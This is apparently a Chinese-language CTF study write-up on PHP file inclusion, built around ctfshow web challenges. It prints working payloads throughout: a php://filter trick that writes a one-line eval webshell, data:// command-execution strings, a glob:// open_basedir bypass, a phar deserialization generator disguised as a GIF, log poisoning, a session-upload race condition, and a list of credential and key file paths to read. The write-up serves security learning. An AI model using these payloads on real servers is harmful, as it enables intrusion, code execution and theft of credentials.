文件上传文件包含原本只是一种功能,但是因为程序员没有对上传的文件和引用的文件进行严格的验证和过滤,导致恶意用户上传或者包含了恶意的文件导致了网站被攻击。
文件包含
文件包含的时候常用到的函数,一下函数可以不用()用””也可以正常使用
include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行;
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本;
include_once()和 require_once():若文件中代码已被包含,则不会再次包含。
伪协议
php://filter
在数据流内容没有读取之前没有机会应用其他过滤器,有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,这时候我们可以以base64编码的方式读取指定文件的源码
php://filter/convert.base64 -encode/resource= 文件路径
参考题目ctfshow web入门78
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(FILE);
}
这里先测试是否存在flag.php或者flag.txt之类的文件
file=php://filter/convert.base64-encode/resource=flag.php
直接使用该伪协议就能读取到了
php://filter的妙用
php://filter/write=convert.base64-decode/resource=的神奇妙用
参考文献如下
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1
参考题目ctfshow web入门87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
file_put_contents(urldecode($file), “<?php die(‘大佬别秀了’);?>”.$content);,会向file中写入<?php die(‘大佬别秀了’);?>和我们POST写入的,可以在POST传参的时候写入一句话木马
关键在于需要绕过die()函数,不然会导致程序提前终止,导致我们的一句话木马白费了
php://filter中的base64方法的妙用(有写操作时,必须加上 write),首先要了解base64的编解码特性
base64编码的特性中,base64编码的范围是0~9、a~z、A~Z、+、/。在进行解码的时候会跳过不合法的字符(不在字符集中的字符)将合法的字符进行组装,最后仅将合法字符组成一个新的字符串进行解码。
file_put_contents()函数将”<?php die(‘大佬别秀了’);?>”.$content写入$file中
此时我们用伪协议php://filter/write=convert.base64-decode/resource=1.php对<?php die(‘大佬别秀了’);?>”.$content内容进行解码
在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpdie”和我们传入的其他字符。
phpdie一共6个字符,因为base64算法解码时是4个byte一组,所以给他增加2个“a”一共8个字符这样,”phpdieaa”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php die; ?>没有了。
所以最终的payload为,写入了一句话木马。
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
POST:content=aaPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
尝试了<?php eval($_POST[1])?>发现不行但是添加@就行可能是什么防护机制
php://input
php://input可以读取没有经过处理的POST数据,用了php://input后POST包里写入需要执行的php代码就行
参考题目ctfshow web入门70
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这里将php和data替换为???,但其实大小写绕过即可
但是需要注意的是伪协议读取文件,文件名必须是完整不带通配符的
也就是说如果最后flag所在的文件是php的文件将无法读取
所以这里选择了使用
Php://input
抓包写入未经处理的POST数据,从而达到读取文件的目的

zlib://、bzip2://
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行
/test.php?file=compress.zlib://shell.zip
/test.php?file=compress.bzip2://shell.bz2
可以将带有恶意代码的文件进行压缩,再利用该伪协议进行包含
data://
利用 data:// 伪协议可以直接达到执行php代码的效果,有时需要将要执行的代码进行base64编码一下
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
data://text/plain,<?php system(‘ls;);?>
参考题目ctfshow web入门79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
无法使用php://filter进行读取,只能使用data协议进行RCE
?file=data://text/plain,<?=passthru("ls");?>
?file=data://text/plain,<?=passthru('tac flag????');?>
zip://
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行
glob://
PHP伪协议中的glob伪协议可以用于获取指定模式的文件路径列表,可以用于远程读取文件系统或者压缩文件中的文件列表,其筛选目录不受open_basedir的限制,可以用于绕过
glob://D:\xxx\xxx\xxx\*.*
参考题目ctfshow web入门72
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
开启了open_basedir,open_basedir是PHP的一个安全配置指令,用来限制PHP脚本只能访问访问特定的目录,但是不允许访问其它的目录所以根目录无法被访问,但是利用glob://可以有效的绕过,找到flag位置
c=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
phar://(利用设计反序列化模块知识)
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是攻击手法最核心的地方。
漏洞利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
php识别phar文件是通过其文件头的stub,更确切一点来说是<?php __HALT_COMPILER() ;?>这段代码,对前面的内容或者后缀名是没有要求的
因此我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
案例
upload_file.php ,后端检测文件上传,文件类型是否为 gif ,文件后缀名是否为 gif
upload_file.html 文件上传表单
file_un.php 存在 file_exists() ,并且存在 __destruct()
upload_file.php内容
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"],
strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
upload_file.html内容
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="upload_file.php" method="post"
enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>
payload制作,使其绕过gif的检测(涉及反序列化的知识)
写一个file_un.php
在这里展示基础的payload框架
这里用户对GET传入的参数filename是可控的
同时因为当 PHP 用 phar:// 读取 PHAR 文件时,会自动反序列化 metadata,而file_exists函数是支持phar://协议的。
当其进行反序列化的时候,自动执行销毁__destruct魔术方法,再利用eval函数RCE
以上就是对下面payload框架的解释
<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
payload制作 首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('eval.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); // 指定文件头
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();'; // 此处就是前面反序列输出的位置,也就是可以控制
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>
文件包含常用的路径
日志文件
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
网站配置文件
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
包含系统配置文件
windows
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
**/etc/passwd**
**/etc/shadow**
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
日志包含getshell
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。
参考题目ctfshow web入门80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
前面有提到此题,其实还有另解就是日志包含注入
?file=/var/log/nginx/access.log

发现存储了User-Agent的数据,User-Agent中写入一句话木马,从而getshell

条件竞争
直接上参考题目了ctfshow web入门82、83、84、85、86
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
.也没过滤了,无法进行日志注入
简单回顾一下条件竞争,文件上传的条件竞争漏洞是指攻击者利用服务器在验证文件和保存文件之间存在的时间差,通过并发请求或快速替换方式绕过安全检查,成功上传并执行恶意文件(如 webshell),在服务器验证文件是否合法之前,该文件已经被服务器保存了下来导致绕过了安全检查
本题的思路
session.upload_progress 功能 —— 这是一个 PHP 提供的会话上传进度功能,会把上传文件的进度信息临时保存在 /tmp/sess_<PHPSESSID> 中。
因此session.upload_progress中会短暂存放上传文件的内容,如果Cookie中设置了PHPSESSID=text并且没有被及时删除掉,就会导致上传文件的内容被储存在了/tmp/sess_text中,访问该文件就会执行文件中的代码。
我们在 Cookie 里设置了 PHPSESSID=test,PHP 将会在服务器上创建一个文件:/tmp/sess_test,但是对于默认配置 session.upload_progress.cleanup = on,文件上传后 session 文件内容会立即被清空,我们需要通过条件竞争,在服务器还未来得及删除我们上传的session 文件内容前,成功访问包含到该文件,实现恶意代码的命令执行。
要得到开启了session_upload.progress的包,需要先写一个文件上传的页面
<!DOCTYPE html>
<html>
<body>
<form action="https://42313e85-2096-4694-951d-407a4c5eeec4.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
提交抓包设置Cookie中的PHPSESSID,修改session_upload.progress中的内容

发送到intruder中进行爆破
之后再抓一个包含?file=/tmp/sess_exp的包,使其一直包含该文件

直到文件包含成功












